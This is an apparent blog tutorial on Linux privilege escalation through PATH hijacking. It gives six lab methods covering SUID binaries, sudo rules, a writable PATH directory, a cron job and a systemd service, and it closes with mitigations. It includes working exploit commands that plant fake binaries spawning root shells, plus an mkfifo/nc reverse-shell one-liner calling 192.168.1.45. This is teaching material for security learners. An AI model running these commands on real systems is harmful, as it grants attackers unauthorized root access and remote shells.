September 13, 2026
Linux Privilege Escalation via the PATH Variable — A Beginner-Friendly Walkthrough
If you’re new to Linux privilege escalation, the PATH variable is one of the easiest and most common ways to go from a low-privileged user…

By Kalash Kundaliya
12 min read
If you're new to Linux privilege escalation, the PATH variable is one of the easiest and most common ways to go from a low-privileged user to root. It sounds technical, but the idea behind it is actually really simple once you see it in action.
In this article, we'll break down what the PATH variable is, why attackers love it, how it actually works under the hood, and then walk through six practical, hands-on methods to exploit it — all explained in plain, easy language.
What Is the PATH Variable?
Every time you type a command in Linux — like ls, cat, or service — your system needs to know where that program actually lives on disk. You don't type the full path (like /bin/ls) every time, so how does Linux find it?
That's exactly what the PATH variable does. It's a list of folders that Linux searches through, in order, whenever you run a command without typing its full location.
You can see your own PATH by running:
echo $PATHecho $PATHA typical output looks like this:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binEach folder is separated by a colon (:). When you type a command, Linux checks these folders one by one, from left to right, and runs the first matching program it finds.
Why This Matters for Privilege Escalation
Here's the catch: if a script or program runs a command without specifying its full path (for example, it just says service instead of /usr/sbin/service), Linux blindly trusts the PATH variable to find it.
Now imagine this program runs with root privileges — maybe it's a SUID binary, a sudo rule, a cron job, or a systemd service. If an attacker can control the PATH variable, or place a fake program earlier in the search order, they can trick that root-level program into running their own malicious code instead of the real one.
In short: whoever controls PATH controls what "runs" — and if that program runs as root, the attacker effectively controls root.
How PATH Resolution Works
Let's simplify it with an example. Say a root-owned program internally runs:
system("service --status-all");system("service --status-all");Notice it just says service, not /usr/sbin/service. When this line executes, Linux looks through every folder in the PATH variable, in order, until it finds something named service.
If an attacker can:
- Create their own fake file called
service, and - Make sure their folder appears before the real one in PATH,
…then their fake file runs instead — with root privileges, because the original program was running as root.
This single weakness is the foundation for every method below.
Low-Privileged User Setup
Before jumping into the exploitation methods, let's create a normal, low-privileged user to simulate a real attack scenario:
adduser practiceadduser practice
We'll use this practice user throughout the walkthrough to represent an attacker who has limited access and wants to escalate to root.
Method 1: Exploiting a SUID Binary with an Unqualified Command
Lab Setup
As root, we create a small C program that checks system services. It runs setuid(0) and setgid(0) to guarantee root privileges, then calls service --status-all — notice, again, no full path is used:
cat > /opt/syscheck.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main() {
printf("Running system check...\n");
setuid(0);
setgid(0);
system("service --status-all");
return 0;
}
EOFcat > /opt/syscheck.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main() {
printf("Running system check...\n");
setuid(0);
setgid(0);
system("service --status-all");
return 0;
}
EOF
We compile it and give it the SUID bit, which makes it always run as the file's owner (root), no matter who executes it:
gcc /opt/syscheck.c -o /opt/syscheck
chmod u+s /opt/syscheck
chmod +x /opt/syscheckgcc /opt/syscheck.c -o /opt/syscheck
chmod u+s /opt/syscheck
chmod +x /opt/syscheck
Reconnaissance
As the practice user, we start investigating. If we happen to have read access to the source code, that's the easiest way to confirm what a binary is doing internally:
cat /opt/syscheck.ccat /opt/syscheck.c
This confirms exactly what we suspected: the program calls setuid(0) and setgid(0) to force root privileges, then runs service --status-all using an unqualified command — no full path specified.
Next, we check our current PATH, since that's what will be used to resolve service when the binary runs:
echo $PATHecho $PATH
Now, even without source access, we can look for SUID binaries on the system — files that run with elevated privileges:
find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null
We spot /opt/syscheck. Using strings, we inspect what commands it might be calling internally:
strings /opt/syscheck | grep -v "^/"strings /opt/syscheck | grep -v "^/"
This shows references like system, setuid, and setgid — strong hints that it runs a shell command internally. Then we check for hardcoded paths:
strings /opt/syscheck | grep "/"strings /opt/syscheck | grep "/"
Only the linker path shows up (/lib64/ld-linux-x86-64.so.2) — meaning the actual command it runs (service) is not hardcoded with a full path. That's our opening.
Abuse
We create our own fake service program in a writable folder and make sure that folder comes first in PATH:
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATHecho '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
Now we simply run the SUID binary:
/opt/syscheck/opt/syscheck
Since /tmp is now searched before the real service location, our fake script runs instead — and because the binary had root privileges, we get a root shell:
uid=0(root) gid=0(root) groups=0(root),100(users),1001(practice)uid=0(root) gid=0(root) groups=0(root),100(users),1001(practice)Method 2: Abusing a Sudo Rule with an Insecure PATH
Lab Setup
As root, we create a simple backup script:
cat > /opt/backup.sh << 'EOF'
#!/bin/bash
echo "Starting backup..."
tar czf /tmp/backup.tar.gz /home/
echo "Backup complete."
EOFcat > /opt/backup.sh << 'EOF'
#!/bin/bash
echo "Starting backup..."
tar czf /tmp/backup.tar.gz /home/
echo "Backup complete."
EOF
We allow the practice user to run this script as root without a password, and — critically — we disable sudo's built-in PATH protection (secure_path):
chmod +x /opt/backup.sh
echo 'practice ALL=(root) NOPASSWD: /opt/backup.sh' >> /etc/sudoers
echo 'Defaults !secure_path' > /etc/sudoers.d/disable_secure_pathchmod +x /opt/backup.sh
echo 'practice ALL=(root) NOPASSWD: /opt/backup.sh' >> /etc/sudoers
echo 'Defaults !secure_path' > /etc/sudoers.d/disable_secure_path
Reconnaissance
As practice, we check what we're allowed to run with sudo:
sudo -lsudo -l
It shows we can run /opt/backup.sh as root, no password needed. Looking inside the script:
cat /opt/backup.shcat /opt/backup.sh
We see it calls tar without a full path — another unqualified command.
Abuse
We drop a fake tar binary into /tmp and prepend /tmp to our PATH:
echo '/bin/bash' > /tmp/tar
chmod +x /tmp/tar
export PATH=/tmp:$PATHecho '/bin/bash' > /tmp/tar
chmod +x /tmp/tar
export PATH=/tmp:$PATH
Normally, sudo would reset PATH to a safe value — but since secure_path was disabled, our custom PATH is honored. Running the script now:
sudo /opt/backup.shsudo /opt/backup.sh…triggers our fake tar, giving us a root shell.
Method 3: Exploiting a World-Writable Directory Already in PATH
Lab Setup
Sometimes a folder that's already part of the system's default PATH is misconfigured to be writable by everyone:
chmod 777 /usr/local/binchmod 777 /usr/local/binWe again create a SUID binary that calls service without a full path:
cat > /opt/syscheck3.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main() {
printf("Running system check 3...\n");
setuid(0);
setgid(0);
system("service --status-all");
return 0;
}
EOF
gcc /opt/syscheck3.c -o /opt/syscheck3
chmod u+s /opt/syscheck3
chmod +x /opt/syscheck3cat > /opt/syscheck3.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main() {
printf("Running system check 3...\n");
setuid(0);
setgid(0);
system("service --status-all");
return 0;
}
EOF
gcc /opt/syscheck3.c -o /opt/syscheck3
chmod u+s /opt/syscheck3
chmod +x /opt/syscheck3
gcc /opt/syscheck3.c -o /opt/syscheck3
chmod u+s /opt/syscheck3
chmod +x /opt/syscheck3gcc /opt/syscheck3.c -o /opt/syscheck3
chmod u+s /opt/syscheck3
chmod +x /opt/syscheck3
Reconnaissance
As practice, we scan every folder in our PATH to see which ones we can write to:
echo $PATH | tr ':' '\n' | while read dir; do
if [ -w "$dir" ]; then
echo "WRITABLE: $dir"
fi
doneecho $PATH | tr ':' '\n' | while read dir; do
if [ -w "$dir" ]; then
echo "WRITABLE: $dir"
fi
done
/usr/local/bin comes back as writable — and it's already part of the default PATH, so we don't even need to modify our environment.
Abuse
We simply drop our fake service file there:
echo '/bin/bash -p' > /usr/local/bin/service
chmod +x /usr/local/bin/serviceecho '/bin/bash -p' > /usr/local/bin/service
chmod +x /usr/local/bin/service
Then run the SUID binary:
/opt/syscheck3/opt/syscheck3
Root shell obtained — no PATH manipulation needed at all, since the writable folder was already trusted by the system.
Method 4: Sudo with SETENV — Passing a Malicious PATH Directly
Lab Setup
This time, the sudo rule is configured with the SETENV option, which allows the user to set environment variables — including PATH — when running the command with sudo:
cat > /opt/backup.sh << 'EOF'
#!/bin/bash
echo "Starting backup..."
tar czf /tmp/backup.tar.gz /home/
echo "Backup complete."
EOF
chmod +x /opt/backup.sh
echo 'practice ALL=(root) SETENV: NOPASSWD: /opt/backup.sh' >> /etc/sudoerscat > /opt/backup.sh << 'EOF'
#!/bin/bash
echo "Starting backup..."
tar czf /tmp/backup.tar.gz /home/
echo "Backup complete."
EOF
chmod +x /opt/backup.sh
echo 'practice ALL=(root) SETENV: NOPASSWD: /opt/backup.sh' >> /etc/sudoers
Reconnaissance
sudo -lsudo -l
This confirms the SETENV flag is present. Next, we check the contents of the script we're allowed to run:
cat /opt/backup.shcat /opt/backup.sh
Just like before, it calls tar without a full path — and this time, thanks to SETENV, we don't even need to modify our shell's global PATH to exploit it.
Abuse
Instead of exporting PATH globally, we can pass it directly on the sudo command line:
echo '/bin/bash' > /tmp/tar
chmod +x /tmp/tar
sudo PATH=/tmp:$PATH /opt/backup.shecho '/bin/bash' > /tmp/tar
chmod +x /tmp/tar
sudo PATH=/tmp:$PATH /opt/backup.sh
Because SETENV allows us to control environment variables during the sudo call, our custom PATH is respected, our fake tar executes, and we land a root shell.
Method 5: Hijacking a Root Cron Job via PATH
Lab Setup
As root, a monitoring script is scheduled to run every minute via cron:
cat > /opt/monitor.sh << 'EOF'
#!/bin/bash
netstat -tulnp >> /tmp/network.log
EOF
chmod 777 /opt/monitor.sh
echo '* * * * * root /bin/bash /opt/monitor.sh' >> /etc/crontabcat > /opt/monitor.sh << 'EOF'
#!/bin/bash
netstat -tulnp >> /tmp/network.log
EOF
chmod 777 /opt/monitor.sh
echo '* * * * * root /bin/bash /opt/monitor.sh' >> /etc/crontab
Reconnaissance
As practice, we can't directly view root's crontab, so we use a process-monitoring tool called pspy to watch what's running in the background:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
This reveals /opt/monitor.sh executing every minute as root. We confirm what it's doing by checking its contents and permissions:
cat /opt/monitor.sh
ls -la /opt/cat /opt/monitor.sh
ls -la /opt/
This confirms the file is world-writable (-rwxrwxrwx) and calls netstat without a full path — exactly the combination we need.
Abuse
First, we set up a listener on our attack machine:
rlwrap nc -lvnp 445rlwrap nc -lvnp 445Then we create a malicious netstat script that spawns a reverse shell:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.45 445 >/tmp/f' > /tmp/netstat
chmod +x /tmp/netstatecho 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.45 445 >/tmp/f' > /tmp/netstat
chmod +x /tmp/netstat
cat /etc/crontab | grep PATH
sed -i '1a export PATH=/tmp:$PATH' /opt/monitor.shcat /etc/crontab | grep PATH
sed -i '1a export PATH=/tmp:$PATH' /opt/monitor.sh
Since we can also write to /opt/monitor.sh itself, we patch it to prepend /tmp to its PATH:
sed '1a export PATH=/tmp:$PATH' /opt/monitor.sh > /tmp/patched_monitor.sh
cat /tmp/patched_monitor.sh > /opt/monitor.shsed '1a export PATH=/tmp:$PATH' /opt/monitor.sh > /tmp/patched_monitor.sh
cat /tmp/patched_monitor.sh > /opt/monitor.sh
We wait for the next cron tick — and when it runs, our fake netstat executes as root, sending us a root reverse shell.
Method 6: Abusing a Systemd Service with a Sudo Restart Permission
Lab Setup
As root, we set up a custom systemd service that runs a monitoring script:
cat > /opt/sysmonitor.sh << 'EOF'
#!/bin/bash
ps aux | grep apache > /tmp/service_status.log
EOF
chmod 777 /opt/sysmonitor.shcat > /opt/sysmonitor.sh << 'EOF'
#!/bin/bash
ps aux | grep apache > /tmp/service_status.log
EOF
chmod 777 /opt/sysmonitor.sh
We reload systemd and allow practice to restart this specific service via sudo without a password:
cat > /etc/systemd/system/sysmonitor.service << 'EOF'
[Unit]
Description=Custom System Monitor Service
[Service]
Type=simple
User=root
ExecStart=/opt/sysmonitor.sh
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
echo 'practice ALL=(root) NOPASSWD: /usr/bin/systemctl restart sysmonitor.service' >> /etc/sudoerscat > /etc/systemd/system/sysmonitor.service << 'EOF'
[Unit]
Description=Custom System Monitor Service
[Service]
Type=simple
User=root
ExecStart=/opt/sysmonitor.sh
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
echo 'practice ALL=(root) NOPASSWD: /usr/bin/systemctl restart sysmonitor.service' >> /etc/sudoers
Reconnaissance
Rather than manually hunting through the filesystem, we run LinPEAS, a popular automated Linux privilege escalation enumeration script, to speed things up. It flags writable root-owned executables under its "Writable root-owned executables I can modify" check:
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.shwget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
This single line tells us everything we need: /opt/sysmonitor.sh is owned by root but has full read/write/execute permissions for everyone (-rwxrwxrwx) — meaning we, as a low-privileged user, can freely edit a script that root's systemd service will execute. We also confirm our sudo permissions:
sudo -lsudo -l
It confirms we can restart sysmonitor.service as root, without a password.
Abuse
We start a listener:
rlwrap nc -lvnp 445rlwrap nc -lvnp 445We craft a malicious ps script (since the real script calls ps aux without a full path) that triggers a reverse shell:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.45 445 >/tmp/f' > /tmp/ps
chmod +x /tmp/psecho 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.45 445 >/tmp/f' > /tmp/ps
chmod +x /tmp/psThen we patch the writable script to include our malicious folder in its PATH:
sed '1a export PATH=/tmp:$PATH' /opt/sysmonitor.sh > /tmp/patched_sysmonitor.sh
cat /tmp/patched_sysmonitor.sh > /opt/sysmonitor.sh
sudo systemctl restart sysmonitor.servicesed '1a export PATH=/tmp:$PATH' /opt/sysmonitor.sh > /tmp/patched_sysmonitor.sh
cat /tmp/patched_sysmonitor.sh > /opt/sysmonitor.sh
sudo systemctl restart sysmonitor.service
The service restarts as root, executes our patched script, calls our fake ps, and we receive a root shell on our listener.
Exploitation Conclusion
Across all six methods, the root cause is the exact same tiny mistake, just found in different places: a privileged process trusts the PATH variable to locate a command instead of using its full, absolute path.
Whether it was a SUID binary, a sudo rule, a cron job, or a systemd service, the pattern of attack stayed consistent:
- Find a program or script that runs as root.
- Check if it calls any command without specifying the full path.
- Find a way to control or influence the PATH variable (either directly, or by writing to a folder already in PATH).
- Place a malicious file with the same name as the trusted command.
- Let the privileged process "accidentally" run your file instead.
Key Takeaways
- Unqualified commands are dangerous. Any script or binary that calls a program by name only (like
tar,service,netstat, orps) instead of by full path (/bin/tar,/usr/sbin/service) is potentially exploitable. - PATH order matters. Whoever controls which folder gets searched first controls what actually executes.
- Privilege escalation doesn't always need a fancy exploit. Sometimes it's just a misconfigured sudoers file, a writable script, or a missing
secure_pathsetting. - Enumeration is everything. Tools like
find,strings,sudo -l, andpspyare usually enough to spot these issues without needing custom exploits.
Mitigation Strategies
If you're defending a system instead of attacking one, here's how to close these gaps:
- Always use full, absolute paths for any command inside scripts, cron jobs, systemd services, or SUID/SGID binaries (e.g., use
/usr/bin/tarinstead oftar). - Never disable
secure_pathin sudoers. It exists specifically to stop this class of attack. - Avoid
SETENVin sudo rules unless absolutely necessary, since it lets users control environment variables including PATH. - Lock down file and folder permissions. No script, binary, or directory that's used by root-owned processes should be writable by low-privileged users.
- Regularly audit SUID/SGID binaries, cron jobs, and systemd services for unqualified command calls using tools like
stringsand manual code review. - Set a fixed, trusted PATH explicitly inside sensitive scripts, rather than relying on whatever PATH happens to be inherited from the environment.
Conclusion
The PATH variable is one of those small, everyday parts of Linux that most people never think twice about — which is exactly why it's such a popular privilege escalation vector. As we've seen, a single missing / in a script can be the difference between a normal user account and a full root shell.
The good news is that defending against this class of vulnerability doesn't require deep expertise — it just requires discipline: use full paths, lock down permissions, and never let untrusted users influence how your privileged processes find their commands.
Whether you're learning offensive security or hardening your own systems, understanding PATH-based privilege escalation is one of the most valuable, foundational skills you can pick up in the Linux security world.
💼Behind the Hack
Kalash Kundaliya is a dedicated cybersecurity professional and educator passionate about demystifying penetration testing and ethical hacking. Through detailed, practical write-ups, he aims to help aspiring security professionals build critical hands-on skills in controlled, legal lab environments.
🔗 Connect & Explore:
- Portfolio: https://kalashkundaliyacyber.github.io/Portfolio/
- LinkedIn: https://www.linkedin.com/in/kalash-kundaliya-7336791a7/
- GitHub: https://github.com/Kalashkundaliyacyber
Follow for more practical cybersecurity content, in-depth write-ups, and hands-on lab guides.